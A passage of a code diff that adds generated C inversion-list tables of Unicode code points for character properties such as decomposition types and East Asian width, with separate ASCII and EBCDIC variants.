+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__NONE_invlist[] = { /* for EBCDIC 037 */
+	781,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xAD,
+	0xAE,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xCB,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xEA,
+	0xF0,
+	0xFA,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x132,
+	0x138,
+	0x139,
+	0x141,
+	0x143,
+	0x14A,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x180,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1C4,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x2B0,
+	0x2B9,
+	0x2D8,
+	0x2DE,
+	0x2E0,
+	0x2E5,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x587,
+	0x588,
+	0x622,
+	0x627,
+	0x675,
+	0x679,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x10FC,
+	0x10FD,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202F,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2132,
+	0x2133,
+	0x213A,
+	0x213B,
+	0x2141,
+	0x2145,
+	0x214A,
+	0x2150,
+	0x2180,
+	0x2189,
+	0x218A,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C7C,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309B,
+	0x309D,
+	0x309E,
+	0x30A0,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFD,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F150,
+	0x1F16A,
+	0x1F16C,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DT__SML_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE50,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C
+};
+
+static const UV PL_DT__SQR_invlist[] = { /* for all charsets */
+	19,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3250,
+	0x3251,
+	0x32CC,
+	0x32D0,
+	0x3300,
+	0x3358,
+	0x3371,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x1F130,
+	0x1F150,
+	0x1F190,
+	0x1F191,
+	0x1F200,
+	0x1F203,
+	0x1F210,
+	0x1F23C
+};
+
+static const UV PL_DT__SUB_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D62,
+	0x1D6B,
+	0x2080,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x2C7C,
+	0x2C7D
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__SUP_invlist[] = { /* for ASCII/Latin1 */
+	49,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAA,
+	0xAB,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBB,
+	0x2B0,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D62,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x2080,
+	0x2120,
+	0x2121,
+	0x2122,
+	0x2123,
+	0x2C7D,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x3192,
+	0x31A0,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0x1F16A,
+	0x1F16C
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__SUP_invlist[] = { /* for EBCDIC 1047 */
+	51,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x2B0,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D62,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x2080,
+	0x2120,
+	0x2121,
+	0x2122,
+	0x2123,
+	0x2C7D,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x3192,
+	0x31A0,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0x1F16A,
+	0x1F16C
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__SUP_invlist[] = { /* for EBCDIC 037 */
+	51,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0xDA,
+	0xDB,
+	0xEA,
+	0xEB,
+	0xFA,
+	0xFB,
+	0x2B0,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x10FC,
+	0x10FD,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D62,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
+	0x1DC0,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x2080,
+	0x2120,
+	0x2121,
+	0x2122,
+	0x2123,
+	0x2C7D,
+	0x2C7E,
+	0x2D6F,
+	0x2D70,
+	0x3192,
+	0x31A0,
+	0xA69C,
+	0xA69E,
+	0xA770,
+	0xA771,
+	0xA7F8,
+	0xA7FA,
+	0xAB5C,
+	0xAB60,
+	0x1F16A,
+	0x1F16C
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DT__VERT_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE49
+};
+
+static const UV PL_DUPL_invlist[] = { /* for all charsets */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_EA__A_invlist[] = { /* for ASCII/Latin1 */
+	359,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA1,
+	0xA2,
+	0xA4,
+	0xA5,
+	0xA7,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAD,
+	0xAF,
+	0xB0,
+	0xB5,
+	0xB6,
+	0xBB,
+	0xBC,
+	0xC0,
+	0xC6,
+	0xC7,
+	0xD0,
+	0xD1,
+	0xD7,
+	0xD9,
+	0xDE,
+	0xE2,
+	0xE6,
+	0xE7,
+	0xE8,
+	0xEB,
+	0xEC,
+	0xEE,
+	0xF0,
+	0xF1,
+	0xF2,
+	0xF4,
